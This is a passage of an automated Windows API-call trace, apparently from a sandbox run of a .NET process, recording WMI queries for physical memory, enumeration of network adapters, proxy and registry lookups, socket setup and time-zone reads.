[7]=0x7)), ppvObject=0x1b0bbfd0 | out: ppvObject=0x1b0bbfd0*=0x0) returned 0x80004002 [0157.838] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b3207e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbfa8 | out: ppvObject=0x1b0bbfa8*=0x4f3e80) returned 0x0 [0157.838] WbemDefPath:IUnknown:Release (This=0x1b3207e0) returned 0x0 [0157.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd50 | out: ppvObject=0x1b0bbd50*=0x4f3e80) returned 0x0 [0157.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbde0 | out: ppvObject=0x1b0bbde0*=0x0) returned 0x80004002 [0157.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb5d8 | out: ppvObject=0x1b0bb5d8*=0x0) returned 0x80004002 [0157.839] WbemDefPath:IUnknown:AddRef (This=0x4f3e80) returned 0x3 [0157.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb498 | out: ppvObject=0x1b0bb498*=0x0) returned 0x80004002 [0157.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb420 | out: ppvObject=0x1b0bb420*=0x0) returned 0x80004002 [0157.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb410 | out: ppvObject=0x1b0bb410*=0x1b320540) returned 0x0 [0157.839] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b320540, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb438 | out: pCid=0x1b0bb438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.839] WbemDefPath:IUnknown:Release (This=0x1b320540) returned 0x3 [0157.839] CoGetContextToken (in: pToken=0x1b0bb4c0 | out: pToken=0x1b0bb4c0) returned 0x0 [0157.839] CoGetContextToken (in: pToken=0x1b0bb940 | out: pToken=0x1b0bb940) returned 0x0 [0157.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba00 | out: ppvObject=0x1b0bba00*=0x0) returned 0x80004002 [0157.839] WbemDefPath:IUnknown:Release (This=0x4f3e80) returned 0x2 [0157.839] WbemDefPath:IUnknown:Release (This=0x4f3e80) returned 0x1 [0157.839] CoGetContextToken (in: pToken=0x1b0bc730 | out: pToken=0x1b0bc730) returned 0x0 [0157.839] CoGetContextToken (in: pToken=0x1b0bc630 | out: pToken=0x1b0bc630) returned 0x0 [0157.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3e80, riid=0x1b0bc790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc760 | out: ppvObject=0x1b0bc760*=0x4f3e80) returned 0x0 [0157.839] WbemDefPath:IUnknown:AddRef (This=0x4f3e80) returned 0x3 [0157.839] WbemDefPath:IUnknown:Release (This=0x4f3e80) returned 0x2 [0157.839] WbemDefPath:IWbemPath:SetText (This=0x4f3e80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x0 [0157.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcb18 | out: puCount=0x1b0bcb18*=0x2) returned 0x0 [0157.840] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcb10*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcb10*=0xf, pszText=0x0) returned 0x0 [0157.840] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcb10*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcb10*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.840] CoGetContextToken (in: pToken=0x1b0bc8e0 | out: pToken=0x1b0bc8e0) returned 0x0 [0157.840] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x1 [0157.840] IUnknown:Release (This=0x1b353000) returned 0x0 [0157.842] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcbc8 | out: puCount=0x1b0bcbc8*=0x2) returned 0x0 [0157.842] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcbc0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcbc0*=0xf, pszText=0x0) returned 0x0 [0157.842] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcbc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcbc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.842] IWbemClassObject:Get (in: This=0x5207e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1b0bcb80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be8ba8*=0, plFlavor=0x2be8bac*=0 | out: pVal=0x1b0bcb80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2be8ba8*=21, plFlavor=0x2be8bac*=0) returned 0x0 [0157.842] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.842] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.842] IWbemClassObject:Get (in: This=0x5207e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1b0bcbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be8ba8*=21, plFlavor=0x2be8bac*=0 | out: pVal=0x1b0bcbd0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2be8ba8*=21, plFlavor=0x2be8bac*=0) returned 0x0 [0157.842] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.842] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcbc8 | out: puCount=0x1b0bcbc8*=0x2) returned 0x0 [0157.849] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcbc0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcbc0*=0xf, pszText=0x0) returned 0x0 [0157.849] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcbc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcbc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.849] IWbemClassObject:Get (in: This=0x5207e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1b0bcb80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be9278*=0, plFlavor=0x2be927c*=0 | out: pVal=0x1b0bcb80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2be9278*=21, plFlavor=0x2be927c*=0) returned 0x0 [0157.850] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.850] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.850] IWbemClassObject:Get (in: This=0x5207e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1b0bcbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be9278*=21, plFlavor=0x2be927c*=0 | out: pVal=0x1b0bcbd0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2be9278*=21, plFlavor=0x2be927c*=0) returned 0x0 [0157.850] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.850] SysStringByteLen (bstr="2146938880") returned 0x14 [0157.988] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1b0bc9b8 | out: pFixedInfo=0x0, pOutBufLen=0x1b0bc9b8) returned 0x6f [0158.053] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b337800 [0158.053] GetNetworkParams (in: pFixedInfo=0x1b337800, pOutBufLen=0x1b0bc9b8 | out: pFixedInfo=0x1b337800, pOutBufLen=0x1b0bc9b8) returned 0x0 [0158.066] LocalFree (hMem=0x1b337800) returned 0x0 [0158.068] GetAdaptersAddresses (in: Family=0x0, Flags=0xc0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1b0bccb0*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1b0bccb0*=0x1168) returned 0x6f [0158.146] LocalAlloc (uFlags=0x0, uBytes=0x1168) returned 0x50dc00 [0158.146] GetAdaptersAddresses (in: Family=0x0, Flags=0xc0, Reserved=0x0, AdapterAddresses=0x50dc00, SizePointer=0x1b0bccb0*=0x1168 | out: AdapterAddresses=0x50dc00*(Alignment=0x6000001c0, Length=0x1c0, IfIndex=0x6, Next=0x50e1c0, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0x50de70, FirstAnycastAddress=0x0, FirstMulticastAddress=0x50df20, FirstDnsServerAddress=0x50e160, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0xe0, [2]=0x96, [3]=0x63, [4]=0xe7, [5]=0x80, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x50e190, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x50ddc0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x1b0bccb0*=0x1168) returned 0x0 [0158.196] LocalAlloc (uFlags=0x0, uBytes=0x70) returned 0x510500 [0158.196] GetPerAdapterInfo (in: IfIndex=0x6, pPerAdapterInfo=0x510500, pOutBufLen=0x1b0bc6c8 | out: pPerAdapterInfo=0x510500, pOutBufLen=0x1b0bc6c8) returned 0x0 [0158.206] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x1b0bc6c8 | out: pPerAdapterInfo=0x0, pOutBufLen=0x1b0bc6c8) returned 0x6f [0158.217] LocalAlloc (uFlags=0x0, uBytes=0x70) returned 0x510700 [0158.217] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x510700, pOutBufLen=0x1b0bc6c8 | out: pPerAdapterInfo=0x510700, pOutBufLen=0x1b0bc6c8) returned 0x0 [0158.226] LocalFree (hMem=0x510700) returned 0x0 [0158.227] LocalFree (hMem=0x50dc00) returned 0x0 [0158.413] RoGetParameterizedTypeInstanceIID () returned 0x0 [0158.414] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0158.414] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0169.646] GetCurrentProcess () returned 0xffffffffffffffff [0169.647] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd3f8 | out: TokenHandle=0x1b0bd3f8*=0x6d8) returned 1 [0169.650] GetCurrentProcess () returned 0xffffffffffffffff [0169.650] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd408 | out: TokenHandle=0x1b0bd408*=0x6d4) returned 1 [0169.653] QueryPerformanceFrequency (in: lpFrequency=0x7ff9ff1d7db0 | out: lpFrequency=0x7ff9ff1d7db0*=100000000) returned 1 [0169.655] GetCurrentProcess () returned 0xffffffffffffffff [0169.656] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd2f8 | out: TokenHandle=0x1b0bd2f8*=0x534) returned 1 [0169.658] GetCurrentProcess () returned 0xffffffffffffffff [0169.659] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd308 | out: TokenHandle=0x1b0bd308*=0x504) returned 1 [0169.663] GetCurrentProcess () returned 0xffffffffffffffff [0169.663] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd368 | out: TokenHandle=0x1b0bd368*=0x6dc) returned 1 [0169.665] GetCurrentProcess () returned 0xffffffffffffffff [0169.665] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd378 | out: TokenHandle=0x1b0bd378*=0x310) returned 1 [0169.715] GetCurrentProcess () returned 0xffffffffffffffff [0169.715] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd878 | out: TokenHandle=0x1b0bd878*=0x30c) returned 1 [0169.808] CoTaskMemAlloc (cb=0xcd0) returned 0x1d2f2c90 [0169.945] CoTaskMemFree (pv=0x1d2f2c90) [0170.022] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x738 [0170.332] setsockopt (s=0x738, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0170.333] closesocket (s=0x738) returned 0 [0170.333] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x738 [0170.335] setsockopt (s=0x738, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0170.335] closesocket (s=0x738) returned 0 [0170.335] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x738 [0170.336] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x734 [0170.347] ioctlsocket (in: s=0x738, cmd=-2147195266, argp=0x1b0bd848 | out: argp=0x1b0bd848) returned 0 [0170.348] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x730 [0170.348] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x724 [0170.348] ioctlsocket (in: s=0x730, cmd=-2147195266, argp=0x1b0bd848 | out: argp=0x1b0bd848) returned 0 [0170.349] WSAIoctl (in: s=0x738, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b0bd7d0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b0bd7d0, lpOverlapped=0x0) returned -1 [0170.350] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b0bd3b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0170.355] WSAEventSelect (s=0x738, hEventObject=0x734, lNetworkEvents=512) returned 0 [0170.355] WSAIoctl (in: s=0x730, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b0bd7d0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b0bd7d0, lpOverlapped=0x0) returned -1 [0170.356] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b0bd3b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0170.356] WSAEventSelect (s=0x730, hEventObject=0x724, lNetworkEvents=512) returned 0 [0170.356] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x71c [0170.357] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x71c, param_3=0x3) returned 0x0 [0170.432] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1b0bd8b8 | out: phkResult=0x1b0bd8b8*=0x754) returned 0x0 [0170.433] RegOpenKeyExW (in: hKey=0x754, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd7f8 | out: phkResult=0x1b0bd7f8*=0x758) returned 0x0 [0170.433] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x75c [0170.433] RegNotifyChangeKeyValue (hKey=0x758, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x75c, fAsynchronous=1) returned 0x0 [0170.435] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd800 | out: phkResult=0x1b0bd800*=0x760) returned 0x0 [0170.435] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x764 [0170.435] RegNotifyChangeKeyValue (hKey=0x760, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x764, fAsynchronous=1) returned 0x0 [0170.436] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd800 | out: phkResult=0x1b0bd800*=0x768) returned 0x0 [0170.436] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x76c [0170.436] RegNotifyChangeKeyValue (hKey=0x768, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x76c, fAsynchronous=1) returned 0x0 [0170.437] GetCurrentProcess () returned 0xffffffffffffffff [0170.437] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd788 | out: TokenHandle=0x1b0bd788*=0x770) returned 1 [0170.440] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bc8b8 | out: phkResult=0x1b0bc8b8*=0x774) returned 0x0 [0170.440] RegQueryValueExW (in: hKey=0x774, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x1b0bc8f8, lpData=0x0, lpcbData=0x1b0bc8f0*=0x0 | out: lpType=0x1b0bc8f8*=0x0, lpData=0x0, lpcbData=0x1b0bc8f0*=0x0) returned 0x2 [0170.440] RegCloseKey (hKey=0x774) returned 0x0 [0170.498] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1b35cee0 [0170.510] WinHttpSetTimeouts (hInternet=0x1b35cee0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0170.511] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1b0bd800 | out: pProxyConfig=0x1b0bd800) returned 1 [0170.583] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x1b0bc900, nSize=0x80 | out: lpBuffer="") returned 0x0 [0170.583] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x1b0bc900, nSize=0x80 | out: lpBuffer="") returned 0x0 [0170.638] EtwEventRegister () returned 0x0 [0170.639] EtwEventSetInformation () returned 0x0 [0170.647] GetCurrentProcess () returned 0xffffffffffffffff [0170.647] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd2c8 | out: TokenHandle=0x1b0bd2c8*=0x7ac) returned 1 [0170.650] GetCurrentProcess () returned 0xffffffffffffffff [0170.650] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd2d8 | out: TokenHandle=0x1b0bd2d8*=0x7b0) returned 1 [0170.759] SetEvent (hEvent=0x300) returned 1 [0170.825] GetCurrentProcess () returned 0xffffffffffffffff [0170.825] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd1a8 | out: TokenHandle=0x1b0bd1a8*=0x7c8) returned 1 [0170.826] GetCurrentProcess () returned 0xffffffffffffffff [0170.826] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd1b8 | out: TokenHandle=0x1b0bd1b8*=0x7cc) returned 1 [0170.829] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1b0bd580 | out: lpTimeZoneInformation=0x1b0bd580) returned 0x2 [0170.830] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x1b0bd388 | out: pTimeZoneInformation=0x1b0bd388) returned 0x2 [0170.847] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd358 | out: phkResult=0x1b0bd358*=0x7d0) returned 0x0 [0170.849] RegQueryValueExW (in: hKey=0x7d0, lpValueName="TZI", lpReserved=0x0, lpType=0x1b0bd398, lpData=0x0, lpcbData=0x1b0bd390*=0x0 | out: lpType=0x1b0bd398*=0x3, lpData=0x0, lpcbData=0x1b0bd390*=0x2c) returned 0x0 [0170.849] RegQueryValueExW (in: hKey=0x7d0, lpValueName="TZI", lpReserved=0x0, lpType=0x1b0bd398, lpData=0x33a0100, lpcbData=0x1b0bd390*=0x2c | out: lpType=0x1b0bd398*=0x3, lpData=0x33a0100*, lpcbData=0x1b0bd390*=0x2c) returned 0x0 [0170.850] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd158 | out: phkResult=0x1b0bd158*=0x0) returned 0x2 [0170.851] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1b0bd328, lpData=0x0, lpcbData=0x1b0bd320*=0x0 | out: lpType=0x1b0bd328*=0x1, lpData=0x0, lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.851] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1b0bd328, lpData=0x33a0600, lpcbData=0x1b0bd320*=0x20 | out: lpType=0x1b0bd328*=0x1, lpData="@tzres.dll,-320", lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.851] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1b0bd328, lpData=0x0, lpcbData=0x1b0bd320*=0x0 | out: lpType=0x1b0bd328*=0x1, lpData=0x0, lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.851] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1b0bd328, lpData=0x33a0670, lpcbData=0x1b0bd320*=0x20 | out: lpType=0x1b0bd328*=0x1, lpData="@tzres.dll,-322", lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.851] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1b0bd328, lpData=0x0, lpcbData=0x1b0bd320*=0x0 | out: lpType=0x1b0bd328*=0x1, lpData=0x0, lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.852] RegQueryValueExW (in: hKey=0x7d0, lpValueName="MUI_Dlt", 